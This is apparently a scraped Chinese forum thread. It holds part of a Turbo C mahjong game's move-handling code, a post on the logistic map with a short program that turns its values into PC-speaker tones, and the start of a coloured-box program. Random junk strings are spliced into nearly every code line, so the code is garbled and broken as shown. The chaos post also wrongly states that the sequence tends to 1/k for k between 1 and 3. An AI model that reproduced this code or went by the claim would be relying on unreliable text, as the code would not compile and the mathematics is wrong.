fillRectangle(x1,y1,x1+20,y1+4,0);
/ z, `& H% Q$ g* V3 i! N}
& f5 {) _2 B. zif(every==10)
- j0 e4 A2 E0 y4 f& l0 c{
' a+ G5 Q+ c+ X/ g: i, Nx1=220;8 _3 v5 Y0 d, R1 L  w) W2 {
y1=165;8 r, d5 O4 S8 Y
fillRectangle(x1,y1,x1+20,y1+4,0);
; r! N* [$ |+ a8 V. y. o}
% Y( U3 @: h+ O& I' M+ u2 A: {: hif(every==11)  D, G& G; R6 f2 T0 g/ K. H: E+ Z
{: S4 r' @7 S1 w) g/ d' m; i* V
x1=240;' b6 v9 v$ O0 K; K+ b+ J$ S0 S3 `' ?
y1=165;
# ~" g' p) Y5 O  m& U+ vfillRectangle(x1,y1,x1+20,y1+4,0);
. I+ N( d: O8 k( [1 D# X5 V}) u- ~5 h8 A# a  D1 R
if(every==12)9 [7 ^( c) Q! ^
{9 v7 _; |) T. N; D
x1=260;2 s! [4 l$ o+ C' m! N; d& }
y1=165;
* R9 k4 D, z) a$ hfillRectangle(x1,y1,x1+20,y1+4,0);
* m4 E' s! [8 ^2 {}
: |  r8 v5 R: d3 r8 ]$ {* Z4 b$ J: D
zz=0;3 t' [$ q' E! Z' }& J6 @: k9 ?# s
every++;. c8 K; H: d0 b0 _5 n- c
z=z+20;  U! C) m5 ~! k. T$ ]
}
: Q+ @3 }1 f. T. h: v% Q2 S4 S# fshowbmp(every);% z2 s. H% F( {
key=keyy;: p* K* A- ?" \* [5 |* E
if(keyy==ENTER)6 A4 K) v5 {6 x& w# ~/ P! j' C
{# Q) a  F5 E0 Z! u1 e' }% ^% x
rgzn(every); /*********************/- ?; |$ l$ }' ]9 [
if(sing==1) /*如果可以乓,做相应的处理*// m2 Y) ^7 {: V6 c
{ 6 ^+ v% x$ _3 U, W8 q- A
kkk=0;5 [- f6 h. Q, c- X3 r  A/ Y
kkkk=0;& E3 C% \( Y6 F# w
while(kkk&lt;=computer.m)- P, Z0 M7 g& m) E- d: _( q! l
{
) V1 B' B) e! R' A3 V! T3 rif(computer.pp[kkk].p!=1)+ q& o7 Q# T" }3 m
{
6 l0 p, Q2 L3 H& i, {3 c! r( Z' `comp.pp[kkkk].k=computer.pp[kkk].k;
: F( W& Z% s3 }" x5 W8 v$ r# icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ W) W! ?* V+ J0 Ucomp.pp[kkkk].number=computer.pp[kkk].number;
* [9 @  R1 l1 H: u6 s- okkkk++;( Q) q' h# k" h0 `
}
$ f1 o% g# c# @else% s1 M* s" L; r3 ?& _9 L) R
{# V3 g, j3 t" i
m[computer.pp[kkk].number].data1=1;: H$ ]6 A# T7 Q+ \% A; w* T
dwei=computer.pp[kkk].number;
& O& Z6 S! y# {& l- ^8 ^' Ocomputer.pp[kkk].p=0;# p) J; I  o7 t3 z5 Y7 ~! x
}0 W& |$ |  B+ F( p, a: t" P
kkk++;7 X2 u( k; m5 v+ Z- T
}
* Z1 A/ G$ a+ pll=0;
6 n+ o5 y8 l# `1 o+ o  }$ D
& o; Y$ H) t7 a2 b( w. x6 mwhile(ll&lt;3)
. n: f6 T, C7 x3 p% \{ zl=zl+20;
: C( x7 x3 B* ?0 K+ |bmpp(dwei); /*显示乓的牌*/
  p. i. y: B& ^# r0 L, Qll++;
: X  ]+ A7 s8 t; d3 X. a& D8 G- l}
6 {8 Q9 q. G9 X- |4 p0 t! m" }9 m. z! V. C0 _2 E; K: m4 x
zl=zl+9600-60;7 p' W6 Z3 D6 x; b
kkk=0;2 I: ^8 E3 h# `. k, \+ h; ?2 C( G  x0 U
computer.m=computer.m-2;3 i- J5 F" ?! _+ D# o# e
while(kkk&lt;=computer.m)
9 s. J* n8 {; `: K{
" a5 K3 p1 h, ?& scomputer.pp[kkk].k=comp.pp[kkk].k;: D2 K% Z, R7 k( b0 f3 l/ E
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;8 X7 Z8 ^3 b; O0 V# ~9 k
computer.pp[kkk].number=comp.pp[kkk].number;
1 I4 i5 f& j6 a1 Q2 Skkk++;
- q0 O% E7 e% J- N, X}
) M$ s. V: ]& _/ rll=0;
4 V( \6 f5 \6 X7 W; F0 V& Otemp=random(computer.m); /*出牌等待完善*/
+ }* o( T2 j* y9 i# ~# [- l/ Szyy=zyy+9280+20;
* f" U4 v& t/ @+ D& i" z+ e* ^7 n6 pshowcbmp(temp);
1 G4 x8 y8 J! i1 Q+ hzyy=zyy-9280;
4 h: x: D$ I/ D/*****/7 s& g4 K3 I8 P' C0 Y5 K+ P$ h& h% j: d
rgznme(temp);
' \- _/ x. L% c: d3 Dpanduan();+ K4 p) v2 a$ n. z
if(me.m==0)" d: e2 d0 i: v, A
if(second==1 &amp;&amp; threes==0)6 J, d# [+ b* F/ o) J6 T
printf("you win!");! P6 v. F0 d' Y# f7 }
if(me.m==3)
! x" J% n% W/ w9 M; Bif(second==1 &amp;&amp; threes==1)+ R; A8 I6 |: h" B% z. W
printf("you win!");
( G6 A+ T0 M6 D; M2 Z0 @+ j+ F( lif(me.m==6)
; u  L1 X. {0 {if(second==1 &amp;&amp; threes==2)* @0 _  ]% I5 D" C, W$ w2 b! C
printf("you win!");
& Z! Z. D& v4 Z5 [1 |$ iif(me.m==9)2 w( N* u. s- J) L* @; g* ~
if(second==1 &amp;&amp; threes==3)- |% e3 x+ A  h% q4 e0 U( [
printf("you win!");
8 Q7 G% ~3 ^6 nif(me.m==12)
+ Y* _0 P! t/ R$ f* Vif(second==1 &amp;&amp; threes==4)
5 ?, S; m: Y1 B0 C: Dprintf("you win!");' ^$ e) m$ Q$ v
) ^; T3 I( ?0 n3 L# [! E7 K
kkk=0;
& w% z6 o) Q! p% G; K& J) E* {( \4 Bkkkk=0;
8 y+ C9 K& U: \while(kkk&lt;=computer.m)5 C7 Y: u; Z+ x" z. Y/ H
{
' v; P& }% i+ I; _; tif(kkk!=temp)( R6 H, e# b8 @) Q, r7 b* c
{
' `8 O- l4 P9 T( R. \6 _4 P" r! tcomp.pp[kkkk].k=computer.pp[kkk].k;
1 p, W. O) H/ hcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;& a# m7 e6 I9 V
comp.pp[kkkk].number=computer.pp[kkk].number;
$ q4 |' |+ ]: H$ r6 xkkkk++;% D+ D/ J) m0 J/ Q  ?
}8 ?' Q7 y& n3 o7 [4 y8 G- q" V" [
else
( [/ |4 F0 c" T) Wm[computer.pp[kkk].number].data1=1;5 S2 W# m8 i# F4 t( o
kkk++;
; p7 C) |: D& l  W  y}7 W" u0 y  Y- p2 p
kkk=0;& n  f: e5 a+ ~6 o) E% j
computer.m=computer.m-1;
, Y) j; S3 p! Z3 j% c7 C- q3 R( _( B0 }while(kkk&lt;=computer.m) * ?! N! N- c: F* k$ s1 N- }
{
$ ?$ h) C( e9 pcomputer.pp[kkk].k=comp.pp[kkk].k;8 _! R! y! E4 V4 |
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;! s, K: n- x- l8 s# w0 I
computer.pp[kkk].number=comp.pp[kkk].number;
9 Y8 u! E) y% I4 ?kkk++;
# _4 @  S9 G( G0 z* f# I% z0 O}
# v# [) }3 B6 z! O$ ?: mfillRectangle(0,0,320,30,0);7 E' y) k$ }0 R& u
n=computer.m;
# F$ n+ M/ v- Y! x, A& Cll=0;
( R  I' d# Y+ J) ^' jzy=0;
' W' d8 W3 X" d& Wwhile(ll&lt;=n)
' u! o/ o; w% J8 T{
& K2 J: c; \7 e4 p6 r& C" p& Mzy=zy+20;: r4 c5 Q+ ~* }8 e
showybmp(ll);# K0 `8 A- Q4 c6 f5 _" b9 F
ll++;
  T2 I8 ]" o3 I+ `* Y4 t}
1 o& c& K! O6 h- Ill=0;  y; h- C' h6 G
getch();
5 O% V# o$ J8 K% v$ psing=0;  z" v  ^; x+ t7 \
sing1=1;1 x. W2 l- Z1 P/ x" l6 m" O5 U* V
}
* }- H" A  y$ x3 w: J1 D6 H2 m0 w1 Z( n6 D% Y7 s+ V
if(sing==2) /*如果可以杠的做相应处理*/7 U4 s; Q& j5 N# V& @
{
# k+ J* H" p: Hkkk=0;$ `* ~; C; R! y) \) p
kkkk=0;# F8 @) ~& K; c
while(kkk&lt;=computer.m)' @* d8 q+ O0 P5 q& v) N; N" Z
{, G0 n/ w, l1 U5 e% B
if(computer.pp[kkk].g!=1)- N4 W1 n/ F  K" H
{4 S5 L4 s  u0 h2 |: v' ^" o
comp.pp[kkkk].k=computer.pp[kkk].k;
0 M! u" l& R4 gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* `( Y4 k8 N/ g6 J
comp.pp[kkkk].number=computer.pp[kkk].number;
+ ^. l) \' f3 o/ F( Ckkkk++;  [; b0 Q. L% t
}& N& r" r: _) M  @; z
else
: a6 S$ W9 v7 q2 \" e) L{
) T, f' T- h+ Q0 }" k4 ~1 }  p. K' }m[computer.pp[kkk].number].data1=1;% |, _! e1 p5 C3 i' R
dweig=computer.pp[kkk].number;/ \' ^0 [# k- B# e
computer.pp[kkk].g=0;7 m0 r% b- K6 o" P* X& |
}
7 c! g7 c1 i! A9 i) z' g* Tkkk++;: T* g, z- q8 c
}
% ~6 p9 f6 c1 \5 Q4 n5 A! lll=0;# h: p" g' ?. p$ D* K
9 e2 Y; {+ e" b3 ]# w- c3 d. z1 D
while(ll&lt;=3)
6 h1 U7 P- q! l8 H( \{ zl=zl+20;9 K3 f3 B0 \- |
bmpp(dweig); /*显示杠的牌*/. B& G; x1 ~0 M
ll++;- X0 J/ d4 L* M
}
  X* u6 L  D& f% `) Uzl=zl+9600-60;' U* V" e1 o" B6 v) ^% Y
kkk=0;
7 o4 ?! J/ p& V& z/ z4 C/ ~computer.m=computer.m-3;
3 ?: v# ^! x3 swhile(kkk&lt;=computer.m)
3 y8 Y4 L+ i- O6 L3 a0 l{
/ o# R' ~: k3 {" n7 ocomputer.pp[kkk].k=comp.pp[kkk].k;: n' j8 }4 }: b3 i; o( d3 @
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;. v" ^& L  T5 B- y" V8 z2 m( w5 @8 w
computer.pp[kkk].number=comp.pp[kkk].number;
1 {5 a2 s$ I& rkkk++;
/ u3 {" K8 @8 |$ D" e3 D}0 T% E/ @0 D5 Y6 \7 v
kk=0;# i4 l: c, n: s0 r5 g5 W
computer.m++; /*加一个牌的容量*/; C. t4 ?7 J0 l+ K" K
while(kk!=1)! c% B2 Z9 {4 @4 T5 D
{
  t' @! D2 l* y4 C/ S/ i- j3 Ftemp=random(136); /*出牌*/8 ?. `% t' k+ Y4 `  O8 W# x9 f
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
$ h. D6 L1 W4 L- T8 {{
( b; m& w8 P! gcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
; s9 e% J3 K& p" V2 jcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
+ a8 n* [' y" O  H4 ycomputer.pp[computer.m].number=temp; /*第几张,用来排序*/; J' l9 M9 O$ x  h2 f& G' w- Z. Z
m[temp].data2=2; /*判断牌是谁的,2为电脑*/7 j2 j5 c. U/ S$ F0 B5 }
kk=1;
# J0 A! w8 {: B9 R6 k. |  q% X}$ P) [$ ^) P2 l
}
: y- m  ^# I, t! P1 ]comlipai();' _) J9 A9 }# r+ S& s' \5 @* y' v
temp=random(computer.m); /*出牌,等待完善*/% s; z- O" L) p* _% Z/ J+ y
zyy=zyy+9280+20;
, v0 ~+ t! ?$ _. G. W9 @7 s  q/ Oshowcbmp(temp);
! J: y: I* D; `: a: h* U/ \6 Izyy=zyy-9280;2 l1 n* X1 L, z1 U5 e; N
/*****/
- d" @4 P; k  C1 l, H/ D0 M! G5 vrgznme(temp);; [! y9 `; ^" ^% F/ O
panduan();4 t* f% m* Q8 l- h
if(me.m==0)- q* L: z- p1 d7 O! A# n" F
if(second==1 &amp;&amp; threes==0); u8 j1 u" b# R" i$ \* O  U
printf("you win!");
6 M! b' v( a! P6 v0 [5 g* s3 v3 t3 zif(me.m==3)
0 B' D$ E( z: G8 Mif(second==1 &amp;&amp; threes==1)
- t# Q: v5 t% V( B4 Y7 P9 _; ^  J/ [printf("you win!");
( h- f) @5 X/ Bif(me.m==6)' [3 v4 Z: y4 G8 q+ w, {
if(second==1 &amp;&amp; threes==2)# n1 c/ ?8 G. Y3 \0 p+ c
printf("you win!");
+ _, z  O# ?) m( J  \1 tif(me.m==9)
& z. O; l" b: c, Eif(second==1 &amp;&amp; threes==3)
  Y5 I% t  O, f2 [5 b- h: V5 lprintf("you win!");
5 e- S; Q9 I$ |5 m* jif(me.m==12)3 z8 @1 U) W7 b  A4 s9 @  k) [
if(second==1 &amp;&amp; threes==4): O6 M' f/ F1 i. }, x- g6 M
printf("you win!");
& F! g2 C! W; m
! M; _2 k- m- M8 T! Hkkk=0;
. F, w) Y" S( r3 _kkkk=0;: M3 A6 ~8 |& d! e
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
; a& I$ e) J* l, O{: |* u9 L0 R* x8 Z& _
if(kkk!=temp)( u" O2 [  G9 r6 |
{7 T* N" {: e7 B- x! S. P# r
comp.pp[kkkk].k=computer.pp[kkk].k;4 W' L' q! C4 e0 Y( L- E" s5 y9 M
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 U! f: G% a) Mcomp.pp[kkkk].number=computer.pp[kkk].number;
/ i) q4 K6 v7 s: Z1 Jkkkk++;* F1 F* o$ N9 f) T) Q1 G! Q
}& v* ?1 w' q2 ?, }( J% n
else6 v; q9 C" p1 I- t6 H; K& a- v3 Y
m[computer.pp[kkk].number].data1=1;+ l. h# j9 e: k6 [3 l' G  l
kkk++;5 g' U, Y, X" t5 g# J( k
}4 r- a7 ^$ {. }& {7 t0 A
kkk=0;% M+ N& P# ^0 J: j9 i
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/" B0 e2 q$ c( Q, ]& O% h
while(kkk&lt;=computer.m) 4 h0 V+ v5 g- k
{
; y  M6 ^0 }2 p8 F( n/ xcomputer.pp[kkk].k=comp.pp[kkk].k;
3 x' t$ {) K9 O% d. ^) W6 \& icomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# T" S0 J( s4 Z/ {, B. y
computer.pp[kkk].number=comp.pp[kkk].number;3 R- {6 e( I/ N6 l! S& P: N: ]
kkk++;
: c! p& C1 i- f5 D}9 u6 W% g. a9 C% T  \9 l4 v
fillRectangle(0,0,320,30,0);% z! o5 ?+ A- {. z* ^! J* P
ll=0;; z8 {0 H- E% c2 [0 P) `* d
zy=0;
! l! ^3 K5 c6 M$ O/ x3 {$ b0 n5 [6 e7 iwhile(ll&lt;=computer.m)
6 Q# A, l) q# K6 V, N0 m( B5 T{
" x+ G1 h' l+ f7 v$ Mzy=zy+20;
7 p+ [- e; e( c  _8 r8 K# n5 Yshowybmp(ll);
8 D  q+ w1 k, i# j0 Ill++;
6 G% H& U3 n# A! C/ H$ X$ t}7 @) ^1 Q; }8 E; S, d$ M
sing=0;1 U, ^% D/ A% d! s
sing1=1;: t  `. C/ y) ]5 j
}+ a8 E: ]; _  O
if(sing==7) /*如果可以吃的,做相应处理*/
7 O! J9 r2 q% Q6 S3 G( M{ nn=0;6 a9 ^/ ?! I+ D) H8 }1 N: N
kkk=0;
. P. T$ \5 E. q4 m3 l# |; hkkkk=0;
/ {  ?4 u1 g! l- ^while(kkk&lt;=computer.m)6 t% m! X0 c# y$ p: Y$ \" b0 L
{0 a% i" ~. |; T$ h( N8 P7 t
if(computer.pp[kkk].c!=1)5 k6 o- _  O! D! Z. d
{
4 w9 D4 |3 T5 |" ~1 _0 F* k+ ncomp.pp[kkkk].k=computer.pp[kkk].k;
: H& y* H# v  X: n1 ^comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;+ N+ p7 ~. N2 L+ c5 g4 R, ]
comp.pp[kkkk].number=computer.pp[kkk].number;5 b" d4 p2 i% {, G, k* t8 T
kkkk++;
- l& H" Z; l6 }! J' k% a7 g: k}+ p- x. c! O% i7 g( F
else! ^. l5 N& Q1 L' A
{
( z. c3 Q9 C' a" fm[computer.pp[kkk].number].data1=1;3 ?( i9 n- \+ S  F9 k" |- L
dw[nn++]=computer.pp[kkk].number;. H/ o% g% O/ I" y9 u5 W' E
computer.pp[kkk].c=0;
! g3 W: e: W( n4 p: T6 p4 G- _/ X  h}
+ q: {5 Z# c& m$ Tkkk++;
' D2 J5 o4 x" `2 V  S1 V}2 _6 v. w6 c, b% W0 @) E

8 h9 k( t2 M3 h' \9 ]& T) [& I" Uif(me.pp[every].number&lt;dw[0])
4 S, @3 X. g2 j+ X. L. o{) O8 R0 y  q" s2 o! m4 n+ s
dw[2]=dw[1];0 _  B1 Z9 |4 I4 z5 I7 Y! J7 }
dw[1]=dw[0];
. S# P+ O2 O9 e, f4 c5 xdw[0]=me.pp[every].number;* g+ B8 l; d8 I3 a# t$ F
}; K# d- L, X0 h" x+ d1 D
if(me.pp[every].number&gt;dw[1])) S, ~8 j( i) _9 A/ z
{  y0 z$ W0 L6 @! ^/ b. T8 X- M
dw[2]=me.pp[every].number;
6 k% F( L3 }4 l3 }0 R}# q+ w* \/ I. [6 _) ^: d' x2 x. G
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1]), p; N6 b. g. l4 b& c
{
. N5 r7 P+ K! v" W& O. Y2 Xdw[2]=dw[1];+ T9 r. G( I" `2 i: |) X
dw[1]=me.pp[every].number;
. K1 V. r7 L  w0 ]}
4 S& T" Y: t2 C  R" n+ Z( Qnn=0;9 m& [4 ?/ c6 n: s
while(nn&lt;3)# p! s+ ]8 V! m' _2 k) V
{ zl=zl+20;# D6 ?2 D  o2 P% U. l
bmpp(dw[nn]); /*显示吃的牌*/
. w3 K. i) ^- Z3 p) v# X1 S- h$ ^nn++;5 A' r$ l' G; L3 G8 Z# s
}
! f0 K  A- x  G# Z" zzl=zl+9600-60;- [8 v1 N* B- |
kkk=0;
9 s3 D) E: H" F+ \" T, Ncomputer.m=computer.m-2;
  T3 w3 F( f. E5 vwhile(kkk&lt;=computer.m)5 g) E. O& y: [% Y% g4 p
{% F% V4 S( c0 O) t
computer.pp[kkk].k=comp.pp[kkk].k;0 h1 o: z, S* n1 F0 B1 G: X* Z
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
; U8 a+ V9 _* o$ |8 A1 Ucomputer.pp[kkk].number=comp.pp[kkk].number;
. [! A" C+ Y1 i# l: ^/ ]2 ?kkk++;6 Z7 U+ y& c3 G9 i
}
2 U* V1 h* U" n% y& W0 Gll=0;
& {' R  m: G* utemp=random(computer.m); /*出牌等待完善*/+ d" D& m5 x0 K+ K
zyy=zyy+9280+20;
3 H! K6 q" Q; H( s+ s2 Wshowcbmp(temp);
2 n8 _9 O# _) vzyy=zyy-9280;, ]* |- B9 h; {4 `- ^$ X" Z4 O
/*****/
- q2 n/ w* Y; v, I" w. P( n' urgznme(temp);3 q+ O) D& b' A2 W0 I! C% Z
panduan();
2 ]" B6 X, U: hif(me.m==0)9 ?- f* V$ L+ _8 Y' w
if(second==1 &amp;&amp; threes==0)
" H/ W+ d% G% @printf("you win!");' [7 p  U# J& G' @5 Y
if(me.m==3)( b% s; A8 E$ }
if(second==1 &amp;&amp; threes==1)2 v" E) T' D. H( @5 J( s, ~
printf("you win!");
' q. g+ o+ s6 t! R) [  R! kif(me.m==6)
- j+ A- S  |& |- A/ j; Oif(second==1 &amp;&amp; threes==2)
1 R4 b8 |! o8 Y% l4 V9 sprintf("you win!");
0 p& z( k2 C4 a" e! a5 f3 Pif(me.m==9)* T+ U& q- c5 |7 M8 i- E
if(second==1 &amp;&amp; threes==3); L0 P; q5 \  f  p# X$ x
printf("you win!");
/ j1 T* w& W' {3 [& ?8 ?if(me.m==12)
/ F2 S3 y3 [2 l# Qif(second==1 &amp;&amp; threes==4)9 y. g5 z% p9 F: I% s
printf("you win!");. }$ h9 ~6 ?+ L' q' ^
2 N' u3 G+ w5 o* D) v
kkk=0;
4 Z" \' a6 F- `9 L" Z( k0 fkkkk=0;3 x) O! f4 a, F7 Z; W
while(kkk&lt;=computer.m)7 l- @5 E% F% I0 u9 K
{
* M! Q3 x% ~6 y+ Gif(kkk!=temp)
) g5 Y( M( U7 [{$ U, D, h8 K: g# {" a: p7 i
comp.pp[kkkk].k=computer.pp[kkk].k;- D( ]% Z/ n) v' L
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ ]! k% B7 v* _/ J7 B# h
comp.pp[kkkk].number=computer.pp[kkk].number;
0 y) R% g- U% e3 d/ b! hkkkk++;5 E* P! ~& g% r6 P) N: q0 T
}& t  ?0 r) `% y2 e! d0 Z
else
+ ]# {% T- f1 Cm[computer.pp[kkk].number].data1=1;- m0 U% x; a4 N, o3 z3 e8 ^
kkk++;" t; j2 [3 ^6 p* M( E8 y6 U4 l( a
}5 b* t4 R; h: V! X
kkk=0;* t" M" I: O4 `3 {' K. F5 b; v
computer.m=computer.m-1;# V6 |4 W$ l( i) h: b* P; p+ V5 i
while(kkk&lt;=computer.m) # N9 `. U0 n/ k0 @: L: T7 w' n
{
. t6 u9 X, k- i. ^$ ?computer.pp[kkk].k=comp.pp[kkk].k;
% u2 h! R; t3 k! x  h) v) ucomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' W. H/ m  ~/ e0 Ncomputer.pp[kkk].number=comp.pp[kkk].number;9 a3 v9 |9 x! x; Z! n6 V
kkk++;
4 p8 m& Z1 w5 j' K& X}
- A& b' d% m5 o8 w/ u3 ?- SfillRectangle(0,0,320,30,0);
$ }2 {* S0 e) B7 D$ d- R7 `n=computer.m;
& e7 B; i! X" S8 Z; }+ ]ll=0;
! o2 i9 v& |3 q3 n* Y0 z7 Mzy=0;
: m5 @- C( x8 \' Q6 D/ m: Fwhile(ll&lt;=n)' |+ D. j0 i# q% Q1 a0 _. H1 ~; K
{
2 j0 t  x+ M# R. r" |% `zy=zy+20;; M- ?+ [$ [& j' E5 r6 y1 r; D! ?# R
showybmp(ll);) J" J  |9 [! E, w- `
ll++;
# e7 f2 B/ l# n7 d; T1 D2 d}
8 H) o+ m+ x% g- k; B
* Q5 C+ H9 E0 ogetch();4 e1 E* ^. |$ C# I% Y
sing=0;
4 Z( i$ Z0 @4 x3 b9 h. s; qsing1=1;0 \# f9 D7 A5 K8 D
}5 J9 \. i% n! t
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/! a% G+ ?/ _- h3 X8 W& Z$ f$ f
{8 U, m' ~# g& |) i! F3 q: u
kk=0;1 _6 a; |3 `6 f) E. ^3 {
h=me.pp[every].number;
  h9 T) {* }: A4 H2 rm[h].data1=1; /*此牌已经无用*/8 V: Y, m! Y, ?1 A  h
if(sing1!=1)$ a* e( o1 u' k: V. K
{
" X# w; L/ b; |; ]zyy=zyy+9280+20;, w, D8 a' s! M4 D+ }  d
showbmpd(every);: _5 ^$ R( Q' J, p! [& _
zyy=zyy-9280;
2 _4 ]) N! ~7 ^, S}
  T8 Q7 `  K9 f, ?while(kk!=1)
( s& g* j2 d# P1 p. j; P7 j{
8 f2 y) ]/ N" ?8 _- _% [  z% etemp=random(136);
7 p( P7 t9 T5 @* sif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
6 g: ~2 h5 N5 R" w) c{( O0 O9 T; X/ m: Z8 S8 c
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
& R0 [3 K" E: F% N. fme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/. l' u1 o+ {6 r5 R, L
me.pp[every].number=temp; /*第几张,用来排序*/
- @9 {3 d1 k% Y1 \) Q+ }m[temp].data2=1; /*判断牌是谁的*/
5 ~0 c* T4 @0 a  |( ]7 I, L% Lkk=1;
# D$ M# o3 {; i0 O+ g& k}
8 X" c9 f, x# z1 L- w# j- H6 pif(kk==0) /*判断如果又选择了,就从新再选*/* q, t$ L# U0 v
kk=0;
& @: `9 @! C# I& I}
; \8 a  t3 F& I/ M  A2 E6 ~}
: Q2 r- x; I4 Z' i$ tsing=0;
. \4 u+ C- B8 p) ~3 m9 s. u* m/ ssing1=0;
7 z1 h$ J7 x0 B* L+ ~melipai();
2 c8 m1 a$ W  p4 I6 d) Y- ^5 B% m; In=13;, }! p2 Q6 k2 G+ d$ }
z1=54400;9 }% {* Y& q9 a/ c
l=0;
2 T" p* O, @( [0 X2 n# Bg=z;
8 m7 E! ?2 q3 H; D2 O1 Hwhile(l&lt;n)
; r6 `' _3 T9 k& Q. j{ z=0;- e/ V  k# @5 I
z1=z1+20;
7 ?" Z# i2 I0 v+ ~3 n: g1 p& Lshowbmp(l);8 s: c. |+ H% j/ u+ Z9 k: |) l- [/ i
l++;9 n: ]2 U7 |. M" T
}& |7 A8 |3 R  q( W4 A8 h
z1=0;
) D  H& X4 Q( J$ `% q# W+ R! pz=g;. l. w# g5 n* E2 c5 X8 z
}: c# y2 ~# ]; q$ a# V+ V- x
keyy=0;5 y/ [/ J% k2 p3 ?
}
( |4 P" P* ~( I4 Q1 m7 E( S  [7 ^' e9 B+ T7 |) {
getch();
2 Y4 A5 B4 B' I  l7 o/ ^! }0 ^3 VOUTVGA;; m, I: ?" C2 [3 }" j7 H
} ; `% o! l- L- D- V6 ]
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
: {! w+ R" C; A+ i</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
, R4 v9 ^1 Q( q" _1 p- z: F$ \9 B
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
9 Z' J# D! H$ [6 \) y2 P. ?  <FONT color=#009900>#include <DOS.H>/ w; h4 U5 Q* e% P
  #include <STDIO.H>& v' l8 o! z. ?4 k& V- q0 U& e
  main(){8 d7 W2 k3 g$ N" Y7 \
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
) _) F0 L) r$ I8 ?* C: T  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/1 b  i0 \# }% \) [) T
  /*i,j用于循环记数*/
7 E7 b$ U" v' t" ]! Y8 o  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
$ G* |- }( Q$ c7 Z6 ^; D  fDis=fMax-fMin;
+ q6 T& A6 |' I6 h  for(j=1;;j++){, x  E% i! c1 s7 s& {
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/8 ^& c7 O$ H( J9 V& X. ?) u
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
- D( |; O; ]. U: N+ m/ L  scanf("%f",&k);' W: p, j* D. r- E, y9 ^, D
  if (k==0) break;6 p6 k$ d) R' M' n% o
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
/ P% N6 a& ^# r6 Y  x=k*x*(1-x);
4 u7 A3 T. |% [) p  Q/ U  for (i=1;i&lt;100;i++){2 L% E* `: Y+ r( N7 V4 x
  x=k*x*(1-x); /*计算x的值*/: ]' z& d: S; n
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
! R8 U& o* Y) ~' d# o" G+ U4 X/ {5 b  delay(1000); }- g/ v/ i+ y  y+ l8 k- i5 Q
  nosound(); }}
. x2 F% U. B# Z( y' t  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。: Q$ j2 i# A& N5 ^# U
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
% E' ]0 m- m8 S; I  p; J<FONT color=#009900>/*
8 B  K+ {3 D6 u* f% f1 R4 `! K, \3 k*
) V4 z& K$ M4 s! X1 s9 h( U/ I' W* Short driver module5 Z: |8 t& o* w! A
*
1 k" f8 ^* h) J6 h% O1 O. v6 z*/</FONT></P><><FONT color=#009900>main(): p  }8 [( ]  q5 m
{
